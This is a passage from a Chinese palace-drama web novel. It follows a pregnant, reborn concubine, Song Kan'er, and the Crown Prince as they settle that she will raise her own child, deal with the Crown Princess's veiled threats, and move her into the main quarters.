“给谁住不给谁住不是咱们说了算,主子现下不好受咱心里有数就行,可不兴挂在嘴边,去了外头更不能说!”
妇人有孕就没有好受的,平时他们对槛儿自是各种小心,但这事能做不能说。
宫里头就是这样,处处都是忌讳。
喜雨这话若被有心人听了去,还当宋昭训多不识抬举呢,怀着皇孙还觉得苦。
单被人觉得矫情就罢。
就怕叫人捏着错儿攻讦。
给昭训扣个对皇孙心存怨怼,或是体弱多病,不堪为皇家绵延子嗣的罪名。
那事情就大发了。
跳珠、喜雨赶忙认了错。
不过,正房和西厢那边收拾的动静传过来,众人面上没再表现出什么。
心里多少却还是有期待。
槛儿其实也有猜测是不是要给她挪地方了。
毕竟之后她的月份越来越大,生产的相关事宜自然要提前安排上。
譬如至少得有四个接生嬷嬷,也就是稳婆,以及给接生嬷嬷打下手的人。
还有女医、协助太医的医婆。
专职看护产房和幼儿居所灯烛的嬷嬷、熨烫浆洗新生儿衣物的针线嬷嬷。
另还有洗三嬷嬷、照看产妇的嬷嬷,而且乳母的饮食起居也要有人看顾。
说起乳母。
一般大户人家都不是生母喂养孩子,觉得袒胸露乳不端庄持重,是自贬身份。
皇家用乳母也有这层因素。
不过最重要的还是宫里认为皇子皇孙与生母关系过密,后期易引出外戚干政的事。
乳母则不一样。
乳母的荣辱系于皇子龙孙,又有自己的家人,比起生母更容易掌控。
这种制度对生母和乳母其实都很残酷,可涉及权力之争历来如此无情。
无可奈何又不得不为之。
槛儿前世没自己喂养过哪个孩子,这辈子她应该也不会,规矩什么的不提。
单是涨奶以及亲喂要承担的痛和对身子的损伤,她便不确定自己能不能承受住。
且完全放着乳母不用肯定是不行的,传出去被后宫妃嫔知道了要生事端。
不过上辈子槛儿听太医说,母亲生产后的初乳对刚出生的孩子有莫大的好处。
到时候她要喂给孩子。
总之算下来槛儿这边得增二三十个人,这些人单东厢的宫人房哪里够住。
所以住的地方肯定要换。
只不过太子和太子妃没发话,具体怎么安排便未知,槛儿暂时就没多想。
晚上太子过来用膳,她也没擅问。
倒是骆峋。
本打算等她先问,他再顺势告诉她。
由她亲养孩子这件事他已同太子妃打过招呼,她无需再有后顾之忧。
另他打算给她换屋子。
哪知一等槛儿没问,二等也没问。
骆峋觉得她倒沉得住气。
单从这方面看倒确有几分重生之人的特性。
可这何尝又不是一种本分呢。
从她跟他开始,她就一直如此。
该问的不该问的,什么该说什么不该说,怎么说才能让话既好听又不惹恼他。
她都拿捏得极有分寸。
默默望了望纱帐。
骆峋打断槛儿和他闲聊的话:“正房收拾好了便搬过去,西厢你看着安排。”
话题转得太突然,槛儿卡了一下。
反应过来后她朝他那边翻身。
骆峋搂了搂槛儿的腰帮她施力,等槛儿翻过来他顺手将其身后的被子掖好。
说起来,这样的事他往年冬天没做过。
他睡觉不怎么翻身,多数时候睡着时什么姿势,醒来时还是什么姿势。
宫里的皇子公主从小睡觉都有人掖被子,稍微动一下都会有人看着,自然不存在因为夜里踢被子而着凉的事。
骆峋却是自来不喜就寝时床前有人,他会将其当成刺客,时不时惊醒。
这大抵跟他从小对自己的身份有深刻认识有关,纵使幼时父皇对他爱护有加。
骆峋睡觉也会保持警惕。
睡觉不翻身的习惯便这么养成了。
和槛儿睡一起的时候骆峋的习惯也没变,只是他不翻身,她却是要翻的。
她不仅翻,她还要把手脚往他身上搭。
迫使骆峋不得不改变睡姿。
而自打入了冬床榻上摆着好几条被子,用以两个人分被窝睡,也免得着凉。
但分了两回骆峋就放弃了。
倒不是他多想抱着槛儿睡什么的,而是每回半夜她都会滚到他的被窝来。
他要她回她自己的被窝,她半梦半醒地嘟囔着说殿下身上暖和,抱着睡舒服。
合则把他当汤婆子了。
白日里多谨慎小心的人,夜里胆大得很。
偏骆峋没觉得恼。
那便索性睡一个被
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窝吧,横竖等她生产之后他是要同她讲讲规矩的。
于是太子爷现在掖起被子来也是熟稔得很,顺手掖反手掖,技巧之精妙。
“收拾完就搬会不会早了?”
槛儿轻声问,她知道住处要换,但这些事通常是八个月的时候开始准备。
“为何觉得早?”骆峋问。
槛儿把自己的想法说了。
“现下孩子六个月,这会儿就安排生产需要的人手是不是早了?周嬷嬷说七个半月或是八个月准备不迟。”
骆峋看着她亮晶晶的眼睛,沉默两息道:“让你搬屋子你想的便是这个?”
槛儿眨眼。
“您有其他吩咐?”
骆峋:“……”
骆峋暂不打算现在就将为她请封良娣之位的消息告诉槛儿,免得届时事情出了别的纰漏,让她白高兴一场。
但正常情况下让侍妾换居所,是人一般来说都会往晋位的方向想,她倒好。
只想到了生产安排人手,地方不够住。
当然,这么想没错。
她看重腹中的孩子,骆峋乐见其成,就是没想到她的第一反应会是这样。
太子爷哪里知道槛儿往晋位的方向想了。
宫里的女子诞下皇嗣皇孙晋升是惯例。
槛儿怎会不知。
只不过她没往良娣的位置想。
因为她入后院的时间不长,一下子就跳到良娣的位置槛儿自认还是很有难度的。
且晋位这个话题敏感,晋到什么位置也不是她说了算,槛儿干脆就提都不提。
反正结果到时候就知道了。
“没有其余吩咐。”
骆峋状若无事道。
“你先挪,另外的人慢慢添。”
想了想。
他添了一句:“有其他需求以不僭越违制为前提,都可叫人去找海顺。”
槛儿懂了,凑近在他下巴处亲了一口。
“劳殿下费心了。”
骆峋捏捏她的耳垂。
“明日若太子妃找你说话,你不必怕,她说什么有些话你也不必放在心上。”
槛儿下意识想问太子妃为啥要找她说话。
但很快她就想到太子此时会有此一说,不出意外应该是他和郑氏说了什么。
且是与她有关的。
那么以郑氏的心性,明日定会试探她。
且太子叫她不必放在心上,说明话题不会对她不利,那她索性先不要知道。
这样即便郑氏再敏锐也不会觉得她是装出来的,毕竟她本来就不知道嘛。
或许太子也是这么想的,所以才没和她说得太清楚,只给她吃了颗定心丸?
槛儿瞅着太子。
骆峋在她眉间亲了一下。
“等你们谈过之后你想知道什么尽可来问孤,切记凡事勿要胡思乱想,要问孤。”
槛儿笑着抱住他。
“妾问什么殿下都会说吗?”
骆峋:“不僭越,知无不言。”
槛儿就又亲了他一口。
第136章 “宋槛儿,你成了他的皇后又怎么样!”
翌日请安,郑明芷当着秦昭训的面让槛儿留下,等秦昭训一走她便开门见山。
“殿下昨儿同我说,等孩子生下来了由你自己抚养,这件事你知道不知道?”
槛儿错愕脸。
心想原来太子和郑氏说的原来是这件事,这事的确该提前知会郑氏一声。
毕竟在郑氏的立场来看这件事她和太子反悔在先,如果等孩子生了再说。
以郑氏的脾性,绝对会做出什么疯事。
尤其这件事元隆帝早先知情。
太子身为储君在子嗣的事上对正妻言而无信,元隆帝又会怎么看待太子呢?
所以要提前说。
太子必须要在这件事上先拿到主导权,这样她也才不会让郑氏以此为把柄拿捏。
转瞬间槛儿想到了关键处,脸上的反应则俨然一副完全不知情的模样。
郑明芷目不转睛地看着槛儿。
就这么看着,直到她眼睛都看酸了,也没能从槛儿脸上看出个什么所以然。
郑明芷就又嘲上了。
瞧瞧,瞧瞧。
人家要当娘的都没想着要把孩子养在自己身边,他堂堂太子竟就上赶着舔一个奴才的腚沟子,亏他做得出来!
郑明芷对太子的看不惯彻底变成了一种厌恶,同时还有另一种复杂情绪。
他们是夫妻。
他是她的丈夫,是本该属于她的东西,她的东西现今对一个贱婢上赶着。
简直拉低了她的身份。
郑明芷借喝茶的动作深吸一口气,硬是将心里那股憋闷给压了下去。
她不能表露出任何与太子不和的情绪,不能给别人丝毫见缝插针的机会。
“想是殿下还没来得及同你说。”
郑明芷温和道。
“殿下会有此决定也是出于各方面的考量,你有品级按礼能抚养皇孙,按制生母养育亲子也是理所应当。”
槛儿神情受宠若惊地听着。
心想太子莫非就是拿这两条礼法和祖制来说通郑氏的还是说有其他条件?
肯定有吧。
若不然郑氏不会轻易接受。
不过也可能是装出来的,前世这人便一贯如此,绝不会在妾室面前失了体面。
郑明芷哪知槛儿对她的了解呢,说了那么两句话后眼神变得意味深长起来。
话锋也转了。
“不过,你应该没忘我跟你说过的话吧?”
她似笑非笑地问。
槛儿想到了重生回来的当晚,郑氏警告她的那番话,不过她面上踌躇了一下。
郑明芷当她忘了。
轻笑了声:“你如今也算是贵人多忘事了,不过没关系,我提醒你一二。”
说着,她朝槛儿走来。
槛儿跟着起身。
郑明芷在距离槛儿一尺远的地方停下,抬手朝槛儿的发髻伸了过去。
槛儿后退。
郑明芷探了个空,神色沉了一瞬。
很快又缓和下来,笑道:“如今殿下许你自己养孩子,你确实该防着我。”
槛儿没有接话。
郑明芷也没想她说出个子丑寅卯来,横竖她看出来了此女惯是个能装的。
“不对你做什么,”郑明芷道,“不是忘了之前我说过的话?我来提醒你。”
说着,她把声音放得很轻。
“别忘了你去服侍殿下的初衷是什么,又是谁给了你能亲近殿下的机会。
你出身低贱,家里人死绝了,宫里也没个能为你出头的,你就是天生的奴才命。”
“我拿捏你,就跟捏死一只蚂蚁一样简单。”
屋中陷入安静之中。
郑明芷看着槛儿。
一如当初居高临下,睥睨,仿佛在她跟前的不是一个人,而是真的一只蝼蚁。
不同的是。
当初的那晚槛儿跪着,今日站着。
当初她是奴才不敢直视主子,如今她是太子侍妾,视情况可以直视主母。
槛儿便也看着郑明芷。
看着这个前世让她怕了半辈子,恨了半辈子,怨了半辈子,最后被她送上路的女人。
人生在世,大抵恨就是会很长久。
可以说上辈子她服侍太子的时间最长,但郑氏在她心里的印象却远比他重。
甚至于郑氏都**好多年了,槛儿偶尔还会梦到她,梦到她害死曜哥儿。
梦到自己站在坤和宫的内室门外。
听霜云低声对着郑皇后嘲笑淑妃如何蠢笨,至今不知怀献太子**的。
怀献太子就是曜哥儿啊。
因为出生就记在郑氏名下,故为太子嫡长子,太子登基后追封其为皇太子。
好几次从梦里醒来,槛儿都会再恨一次郑氏,哪怕那时候郑氏已经**。
还是被她亲眼看着她死的。
可槛儿就是会梦到她。
梦到她临死前说:“就算你坐上那个位置又怎么样?成了他的皇后又怎么样?
你改变不了我是他元配的事实!改变不了我才是他明媒正娶十六抬大轿娶回来的发妻的事实!你只能是继后!”
“宋槛儿,你以为你赢了……”
“殊不知在我这儿你就是个笑话!我会在下面看着你,看你能得他几时好!”
元配,发妻。
结发为夫妻。
“有劳太子妃提点,妾身想起来了。”槛儿眼睫颤了一下,温婉浅笑道。
“妾身没有娘家,妾身现今的倚仗就是殿下的宠和太子妃您的提携之恩。
妾身有自知之明,也从不敢恃宠生娇。
就算今后生了孩子妾身也不会忘恩,太子妃的提点教诲妾身当铭记在心。”
说罢,槛儿屈膝行了一礼。
郑明芷本意是想借这些话来让槛儿认清事实,贬低她,为自身出口恶气的同时激起槛儿的自卑心性。
要知道她先前就是这么对槛儿的,拿娘家和出身让槛儿在她面前抬不起头。
屡屡奏效。
这一招用在其他奴才身上同样有用。
此时见槛儿的反应与从前截然相反,言行不卑不亢,郑明芷自是不得劲。
可她也知道姓宋的如
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今就是这副德行。
倒也没有再被激怒。
且让郑明芷来看姓宋的这会儿定是在装模作样,心里指不定多难受得慌呢。
这么一想,郑明芷舒坦了。
“你能有自知之明最好,眼下东宫后院你是独一份,只要你安分守己乖乖听我的话今后我便不会亏待了你。”
槛儿只当耳旁风。
“多谢太子妃。”
“你可是觉得我在与你说空话?”
郑明芷别有深意地笑着问。
旋即也没等槛儿应声,解释般道:“若你真这么想,我劝你还是趁早打消。
殿下昨儿同我说了,今后不论宋氏是何位份,包括其在内的所有女眷不得与太子妃争协理东宫后宅之权。”
“所以……”
“别肖想不属于自己的东西,知道吗?”
槛儿眉头不显地挑了挑。
原来太子做的是这一出戏。
管家权换储君对储妃的一次食言,确实够分量,元隆帝那边该不会有话说了。
不过……
太子真会这么轻易让郑氏把着权?
槛儿自然不急着贪这份权,而是她觉得郑氏似乎把事情想得太简单了。
槛儿压了压嘴角。
“是,妾身记住了。”
一盏茶的功夫后。
郑明芷进了内室。
庞嬷嬷才迟疑地小声问:“主子,难不成真就这么让她自己养孩子了?”
“太子发话,我能说什么?”
横竖话她已经说了,后宅里但凡变着法子往上爬的女人就没有不在意权的。
如今她明明白白地告诉了那小蹄子太子的打算,回头那两人不得闹起来?
但凭宋槛儿的身份,太子可不会在这种大事上纵容她闹,所以等着吧。
等他俩失和一切就好办了。
至于她,眼下还是不要轻举妄动的好。
庞嬷嬷昨儿就从她家主子那儿听说了太子要让宋槛儿亲养孩子的事,她家主子也同她说了太子的交换条件。
可越这样庞嬷嬷就越不放心。
那小蹄子才进后院多久啊,就能勾得太子不顾体面地对她家主子出尔反尔。
日子长了还了得?
可也正像主子说的,太子都发话了。
尤其宋槛儿揣的是元隆帝和裴皇后的第一个嫡孙,甭管孙儿孙女,总之生下来之前太子跟他们不可谓不重视。
她家主子这时候不能动。
也不能对宋槛儿那小妖精做什么。
毕竟前阵子东宫才闹了那么大一出事,太子现下把那小妖精当眼珠子护着。
难不成真就这么算了?
庞嬷嬷的老脸皱成一团,直到从内室出来她都还在为这事儿愁得慌。
旁边的霜云侧着眼看她。
忽然,她上前凑近。
“嬷嬷,早先您让奴婢叫人私下里留意那边的奴才,差不多有眉目了。”
庞嬷嬷看向她。
霜云收起眼底的晦暗,“那边有个叫望晴的二等丫头,似是和其他奴才有些不同。”
第137章 太子撑肠拄腹:扯扯腰带,没人看见吧?
今日冬月初一,天阴冷阴冷的。
小福子几个小太监在院子里架着梯子清理屋檐上一排排剔透的冰溜子。
瑛姑姑把槛儿迎进屋,褪去她身上的斗篷,寒酥捧来一盏红枣姜片茶。
等槛儿坐到炕上喝了茶,跳珠才小心关切地问道:“主子您还好吗?”
其他人面露不解。
跳珠:“太子妃刚留主子说话了。”
当时银竹在屋里,她被屏退了,所以她不知道屋里的两人具体说了什么。
槛儿笑捧着茶盏。
“放心,不是坏事是好事。”
大抵因着立场问题和先入为主的观念,导致瑛姑姑她们听槛儿这么一说。
第一反应不是高兴问是啥好事,而是:能是好事?咋就这么不信呢?
槛儿撩起窗帘子往外瞅一眼。
“你们不是在猜正房收拾出来是不是我要搬过去吗?现在可以告诉你们,是。”
和太子、郑氏之间的事她不可能什么都跟身边的人说,再者说了又能如何呢?
在受制于人的情况下,说了除了会让她们悄摸着同仇敌忾一番就没其他意义了。
既如此何必多此一举。
至于郑氏说的什么不要忘了她的恩,乖乖听她的话啊,槛儿当她在放屁。
又不是脑袋有病。
她一个曾被羞辱伤害的人,难道仅因为做了一件自己本就该做的事。
没有对羞辱自己的人信守当初的承诺,就要对对方心存愧疚心存感恩吗?
这像话?
傍晚,骆峋下值回来。
近几天城内外道路房屋除雪的事宜还在处理,预计这个月中旬之前能完成。
眼下正值枯水期。
各个地方正是一年里疏浚河道、加固堤防以及修复水毁工程的最佳时期。
尤其京杭漕运河段、黄河长江等地的工程必须要在明年汛期前完成。
骆峋与工部尚书许仲谦、左右侍郎和几位郎中、各司主事开了一下午堂议。
回东宫时随行的禁军手上,还抱着不少与往年疏浚漕运河段相关的卷册。
换做以前,海顺是绝不会在明知太子公务缠身还把后院的事报给他的。
可今时不同往日。
太子那么看重宋昭训和她肚里的孩子,跟他们相关的事自然就马虎不得。
海顺便觉得甭管怎样,多一事不如少一事,报了总比不报来得叫人安心。
于是,趁太子刚用完晚膳的当头。
海顺把早上太子妃和宋昭训单独说话的事给报了,其中有一条重要的。
那便是太子妃似乎把昨儿太子许诺给她掌家权的事,也同宋昭训说了。
骆峋:“她是何反应?”
“说是神情与平时无异。”
说实话海顺挺拿不准。
太子妃此举分明就有挑拨之意,他不禁担心宋昭训会不会真如了太子妃的愿。
为此对殿下心生怨怼。
他俩生了罅隙,到时便宜的可就是别人了。
骆峋在书房门前站了站。
稍顷,他举步往院外行。
“带上书房那些卷册,去永煦院。”
宫里一到冬天就少不了暖锅子,槛儿今晚的桌上便有一道金汤羊肉什锦暖锅。
汤底是拿上等羊腿骨、精选羔羊肋排外加带皮的羊腩,辅以烤鸭架、金华火腿。
加之姜、葱段和少量枸杞、当归熬制两个时辰而成的。
锅子的底层铺着酸菜丝和豆腐块儿,中间搁的有熟牛蹄筋、炸至金黄的小肉丸。
做成元宝状的蛋饺,另再铺着一层冬笋片,几个炸响铃和槛儿能吃的干菇。
最上面一层是切成薄片的熟羊肉,嫩鸡块,从汤底里捞出火腿切成片提鲜。
周围放上一些白菜心点缀,再将熬好的汤底注入,锅子里煮上一刻钟,涮几把暖房种出来的豌豆苗就可开吃了。
槛儿寻思着太子昨儿休沐才来过,今天当差,她这边又没什么事,他肯定不会过来。
所以她叫膳房调制了香油蒜泥葱碟,蒜和葱都属辛辣,只放了一丁点儿。
不过总归有那么个味儿。
夹起一片羊肉配豌豆苗往葱蒜油碟里蘸一蘸,吃进嘴里那个味道别提了。
再喝口汤,配一口酱宝塔菜,拿饼卷一片烤鸭。
虽然不至于叫人好吃到哭,但大冬天的能吃这么一道锅子俨然是一种享受。
小福子到门口来说太子爷驾到的时候,槛儿这顿膳已经吃得差不多了。
正就着汤底往锅子里头下面条,这也是今晚的主食,面是膳房手擀的。
根根韭菜叶的宽细,放进去只消几句话的功夫便熟了,吃进嘴里爽滑又劲道。
槛儿刚吃一口听到小福子的通传,半截子面条没来得及嚼滑进喉咙里了。
呛得她当场咳起来。
跳珠下意识就想斥一句小福子没眼力见儿,幸好让她给及时反应过来了。
想到自己差点连太子一起骂了,替槛儿顺着气的跳珠额角差点渗出冷汗。
骆峋远远听到屋中的咳嗽声,还当是槛儿受了凉,俊眉不由蹙了蹙。
哪知甫一到门口,一股鲜香扑鼻而来。
再看他以为受了凉的人。
穿着件浅葱色绣落花游鱼纹的长褙子,脸像似被火烤过,唇更是红彤彤的。
“殿下,咳、妾身给、咳咳……”
槛儿直拍胸口。
骆峋没料到她还没用完晚膳,知道大概是自己的突至惊得她呛住了。
自然也就没计较什么失仪不失仪的问题,走过去伸手准备给槛儿顺气。
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谁知还没碰到人槛儿便后退了几步侧身避了避,看得海顺当即捏一把汗。
咋咋咋?
这是咋,这就闹起小性儿来啦?
骆峋的眸光暗了暗。
只不待他多想,他还没来得及放下的手便被一只暖乎乎的小手给抓住了。
“殿下您等等。”
槛儿拿手帕掩着唇,脸微侧着道。
“妾身以为您不会过来,叫人调了带蒜的油碟,这会儿嘴里都是味儿,您先坐着……咳咳,妾身去漱漱口。”
宫里头就是这样。
在主子近前侍候的,或是平日里的差事有机会接触到主子的,绝对严禁食用味儿重的东西,其中以蒜为首忌。
若不然便是秽气冲犯。
死罪倒不至于。
但肯定是不能继续在跟前服侍的了。
而后宫妃嫔和槛儿她们这些太子妻妾,不论是纯粹地面见皇帝、太子。
还是夜里侍寝,口中都绝不能有味儿。
除非确定当天不会见这两位,就可在自己的私人小膳上吃些重口的东西。
否则便是大不敬。
可会不会侍寝通常到了傍晚才能知道,真吃了蒜啥的味儿一时也去不彻底。
所以为了以防万一,后宫妃嫔的膳食一年到头基本都是以清淡为主。
当然除了规矩如此外,也有妃嫔多为高门贵女或官家千金出身的因素在。
贵女们日常皆极其注重自身保养及形象,重口味的膳食多为养身禁忌。
更会有损优雅形象。
除非是用药,否则众人一般不会食用。
槛儿平时也鲜少吃太重口的,实在是锅子不配点油碟她觉得差点儿意思。
加之她估计错了,以为太子不会来。
槛儿暗暗腹诽,就要松开手去内室。
哪知被太子拉了回来。
“您……”
“孤也还没用,陪孤用。”
太子爷扯起谎来面不改色,拉着槛儿走向膳桌,海顺的嘴角抽了又抽。
槛儿却是当了真。
“哎呀”了一声说:“那哪行呢,这些是妾身吃剩的,就剩一篮子面和杂蔬了。”
说着,要吩咐喜雨他们去膳房。
骆峋拉着她坐下。
张口就来:“不必,食欲不佳,面即可。”
海顺:“……”
以前怎么不知道太子这么能油嘴滑舌呢?
太子说没用膳,那就是没用,元淳宫的宫人净了手开始为太子爷下起面来。
槛儿吃了半个锅子,面只下了小半碗,剩余的面条和杂蔬被太子吃得七七八八。
骆峋自小到大膳食定量,还从未吃得如此撑肠拄腹过,今儿也是破了天荒。
膳罢趁槛儿去内室收拾的当头,他寻机背对着众人不着痕迹地扯了扯腰带。
第138章 完了,太子和槛儿都长嘴了!可疑的霜云
槛儿在浴间拿银鎏金柄的白马尾尖牙刷,用青盐细细刷了两次牙,又拿温熟的槐花蜜水含漱了八次口。
各自都净面漱口完毕。
在院里消了两刻钟的食,太子爷腹中那股顶到胸口的闷胀感终于好受了许多。
不多时,二人相携回屋。
槛儿没忘记海顺拿了一摞卷册过来,便想着太子去书房办公,她去次间。
哪知太子牵着她径直进了东次间。
落座后不待槛儿开口,就见太子屏退左右先出了声:“太子妃今早与你说了什么?”
呃。
槛儿没想到他会有此一问。
不过她知道后院有太子的人,他会知道早上的事肯定是海顺报给他的。
这一点槛儿倒没觉得奇怪。
就是没料到他会这么直接地问出来。
槛儿不禁猜测,难不成太子今晚过来便是为了问这件事?
略微思索,槛儿道:“太子妃问妾知不知道您打算让妾身亲自养孩子这事。”
说着,她像是想起一件事。
起身坐到太子旁边,挽住他的胳膊。
“您昨晚没同妾身说这事,妾身早上那会儿乍一听太子妃这么问都愣住了。”
槛儿自然不是在嗔怪太子,只是纯粹说这么一件事,语气里夹杂着亲昵。
颇有些高兴的意味。
高兴什么?高兴他把这件事落到实处了?
骆峋不动声色地观察着槛儿的神情,没从她眼里看出什么怨怼和不满。
“那你如何作答的?”他问。
槛儿如实道:“您没跟妾身提您与太子妃说了这事,妾身当然不知道。”
骆峋:“还说了什么?”
槛儿不确定他是真不知道郑氏具体跟她说了什么,还是假不知道,这种不确定的事她一律当作是对她的考验。
于是顿了片刻。
槛儿半真半假道:“那不是历来不少恃宠生娇的先例嘛,太子妃便提点了妾身一二。
另外太子妃说您说的,今后不管妾什么位份,都无权过问东宫后宅内务。”
槛儿没有告状的意思,太子可能知道实情,以防万一她当然不能隐瞒太过。
骆峋并没有试探她会不会对他瞒下此事的意思,试探已经清楚的事也没意义。
他只是想从槛儿的只言片语中观察出,她是否有将郑氏的挑拨之言放在心上,
见她神态自然并无异样。
骆峋抬手摸了摸小姑娘的脸,低声问:“孤的确如此说过,孤偏你,给你晋位。
与你一道抚养孩子,但今后或许不会允你与太子妃争权,你可会不甘?”
槛儿微微愣神,心里却是忍不住扶额,暗道原来他是要问她这个问题。
得亏她有经验,若不然还真不好答。
爽快干脆地说不会吧。
可信度太低。
太子也可能会觉得她过于胸无大志,进而怀疑她今后能不能护住孩子。
犹豫地说会,或者有一点点不甘吧。
这会儿还只是个小侍妾呢,就想着要和主母争管家权啦?简直大胆放肆!
所以说跟储君这个半君相处也是伴君如伴虎,这感觉真不是说说而已。
槛儿的脑子转得飞快。
在心里擦了一把额头并不存在汗,她看了眼隆起的腹部欲言又止了一下。
随即手从太子的胳膊上滑下来握住他的大掌,眼神清亮地看着他,声音轻柔。
“早先妾身问您,会不会嫌弃妾没有学识不会诗词歌赋琴棋书画,您说不会。
妾身信您,也很高兴,您的一句不嫌让妾有种自己原来其实很好的感觉。
这半年多您给了妾身宠爱,给了妾身孩子,给了妾从前想都不敢想的好日子。”
“妾身现在每天真的很开心,很满足,妾没有念过书,懂的大道理不多。
但知足常乐妾身却是明白的,妾出身微寒,入宫以来做的也只有按吩咐办差。”
“权不权的……”
“妾身若说自己从没想过,您定不信,可妾还是想说,妾身入宫之初到跟您之前最大的心愿只是好好活着。”
娘临终前让她一定要活下去。
说只有活下去她才能看到漂亮的花花草草、看到喜欢的小狗小猫、看到明媚的太阳、看到变成星星的娘。
等她长大了。
她也可能会像娘一样,有一个小小的女儿。
槛儿对她娘的记忆终止于此,她没有想过自己长大后会是个什么模样。
但槛儿知道,娘想她活下去。
所以她活下来了。
“殿下。”
槛儿笑着道。
“如果妾身不犯错您会让妾身活着,会让妾与您的孩子活着,对吗?”
骆峋感受着她掌心的暖意,看着她不掺杂杂念的眼睛,眼神专注地微微颔首。
“会。”
槛儿便扬起笑,抓起他的手放在心口。
“那就够了,妾身现在有您有孩子,做梦都要笑醒了,哪里好意思再要别的。
太贪心老天爷可是会看不下去的,再说自己几斤几两重自己还不清楚吗?
您就是要妾身做别的,妾身也做不来。”
“所以……”
槛儿抱住太子的脖子。
“妾身没有不甘,不会不甘。”
“真心的,真的不能再真——”
说到最后,她一副娇俏状地拖长声音。
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骆峋就对着她的唇亲了上去。
槛儿心道,幸好嘴里的味儿去干净了。
要不然当真不忍直视。
结束了一吻,骆峋捏着槛儿的手稍作沉吟道:“所谓小信成则大信立,失信则不立。
孤为储君,上承天威下系臣民,言行若一并非仅为君子之道,更为为储之道。
孤应允太子妃在先,许你在后,不论什么原因于前者与外人而言都乃孤失信在先。
如此,孤自当察其根本量其得失,备万全之策不留诟病,方能不授人以柄,至于你这边你只说乃孤的决定即可。”
说完,骆峋和眼前人对视。
“这么说你可能明白?”
槛儿明白。
她只是没想到,他居然会耐着性子把这件事掰碎了解释得这么明白细致。
没想到他会向她解释。
其实他就算不说,槛儿也不会被郑氏挑拨,因为她太清楚郑氏的德性了。
明知对方打的什么歪主意还能被对方牵着鼻子走,如果不是在将计就计。
那便是纯粹脑袋不好使。
再者槛儿也猜到太子拿掌家权换郑氏接受她养孩子这事是在做戏给外面看了,怎么还可能对太子心生埋怨。
偏太子向她解释了。
还将事情全揽到了他自己头上。
槛儿抿抿唇,也很认真地对太子道:“妾身明白,也是妾身之前想的太少。
没考虑到您的立场,但如果重来妾身还是会这么选,选择和您一起养孩子,就是估计得再劳您费一回心了。”
最后她眼神又俏皮了起来,但看得出来不似作假,骆峋的唇角便也勾了一下。
“嗯。”
郑明芷本想着自己早上对槛儿说了那么一番话,连太子不准她今后争权的事都说了,两人起码要闹一闹。
哪知晚膳还没过,底下的奴才就报消息说太子去了永煦院,去了就去了。
反正太子去那边早算不得新鲜事了,郑明芷只等着两人闹矛盾的消息传来。
哪知一等没信儿,二等没音。
眼看都要子时了。
跑腿小太监来说太子还没离开永煦院,这个时辰没走显然是要在那边过夜。
郑明芷除了冷笑,还是冷笑。
也不知是她低估了那小蹄子勾引男人的本事,还是高估了那男人原本的德性。
不过也罢。
反正她已经得了太子的准话。
就算将来情况有变,至少也得是很久之后的事了,这期间她有的是时间准备。
“吱呀”
微不可闻的开门声。
霜云从耳房侧门出来绕到卧房窗外侧身听屋里的动静,眼底一片冰冷阴翳。
第139章 正式搬家!太子可能虚到了
这晚过后,太子又恢复了每十日休沐来看一次槛儿和她腹中孩子的规律。
也是真的没时间,因为根据钦天监推算,今年的冬至日在这个月十九。
冬至在本朝被视为阴极之至而阳始生的吉日,重要程度堪比元旦和万寿节。
有三天假期,不过冬至当天要祭天。
所以从进入冬月之初,宫里宫外的宫人和官员们便都在开始为祭天做准备。
譬如户部忙着祭品采购。
核奏有灾情的各个地方的赋税减免,要在冬至的五日之前呈给元隆帝御批。
礼部负责祭天仪式礼仪相关的事宜,兵部则负责祭天仪仗的列阵布防,另外要给戍边军拨发棉鞋棉衣什么的。
每年冬至的前后死囚**要延缓行刑或者发配,刑部这时候便忙着备案。
工部不必提,属它最忙。
太子除了要在工部忙,还要在别的地方忙。
今天要督造九九消寒图代元隆帝分赐给宗室,明儿要去查祭天的祭器准备得如何了,核实花了多少银子。
后天没准儿就去考校尚且年幼的皇子公主们,以及皇孙皇孙女的功课了。
再过两天太子又跑去跟太常寺官员一起验收户部买回来祭天用的牛犊了。
等等,自是不止这些,总之太子宛如一个陀螺,每天几乎睡不到两个时辰。
连初十那晚来看槛儿。
他都只和槛儿坐了两刻钟,问了她近况如何,孩子如何的问题便匆匆走了。
当然,其实这种忙也是锻炼太子的一种方式,其间接触到的人和事实际就相当于在建立人脉,巩固自身位置。
别说自打万寿节之后元隆帝便对太子放宽了,就算他还对太子有所猜忌。
逢年过节他也不好真拘着太子,这种事做得太明显对皇帝的影响也是不好的。
槛儿瞧出来太子人倒没瘦,就是眼下青得厉害,给人一种此人很虚的感觉。
也可能真虚到了。
槛儿就琢磨着等这段时日过了便列个单子,叫膳房照着做来给太子补补。
相较而言槛儿就清闲多了。
正房和西厢那边不到五日便收拾好了,除了前后里外让打扫得一干二净。
屋里的家具陈设、器具摆件、门窗帘子什么的,都该添的添该挪的挪。
一切收拾停当,海顺来仔细查验了一番。
又请槛儿里外都看了。
别看槛儿在永煦院住了这么久了,实则正房和西厢里面长什么样她还不清楚。
关系到僭越什么的。
槛儿谨慎惯了,她不好奇这两间屋子里的情况,平时也不准小福子他们窥视。
海顺带槛儿进屋验看时,瑛姑姑寒酥她们和小福子几个在其身后跟了一串。
脸上的高兴劲儿根本藏不住。
槛儿现在住的东配殿,也就是东厢。
说是小三间,其实是面阔两间的屋子隔出来的,所以屋里的布局相当紧凑。
而正房通常由五品及以上位份的妾室住,都是面阔三间进深两间的布局。
相较于厢房大了两倍不止。
进门的堂屋委实宽敞,北面正对门口的墙上竖挂着好几幅山水花鸟图。
中央靠墙的位置一把花梨木雕番莲卷叶三屏椅,旁边两侧成套的花几。
屋中间的两侧则摆着四把乌木雕玫瑰椅作待客之用,这个就是东厢里没有的。
堂间和次间用楠木雕灵芝的如意云头落地花罩隔着,西间仍作书房用。
但靠北侧的位置以**架隔出了一间暖阁,设有软榻桌椅什么的,看书或是处理事情累了可用于小憩。
东次间的家具陈设位置跟东厢的相差无几,不过临窗的那张炕可大多了。
炕柜、椅凳、花架以及其他家具什么的,用料和其上雕刻的图案也都高了一等。
卧房与东次间以透雕缠枝莲瓶形罩隔着,正中一扇苏绣青山绿水六扇屏风。
绕过屏风西侧靠墙的地方,摆着一张黑漆楠木嵌玉的雕葫芦藤蔓拔步床,旁边就是妆台、衣柜衣架之类的。
床尾处以花架隔了一道小门直通净房和浴间,另卧房南面也有一个暖阁。
可做槛儿今后逢宴席梳妆打扮、午间小憩、短期养病以及坐月子或是哺乳之用。
槛儿上辈子住过坤和宫。
自是不会对这样的屋子惊艳到目瞪口呆的地步,但新家大房子谁不喜欢呢。
槛儿喜欢。
跳珠小福子他们也只差高兴得直蹦,因为他们也要跟着自家昭训搬过来。
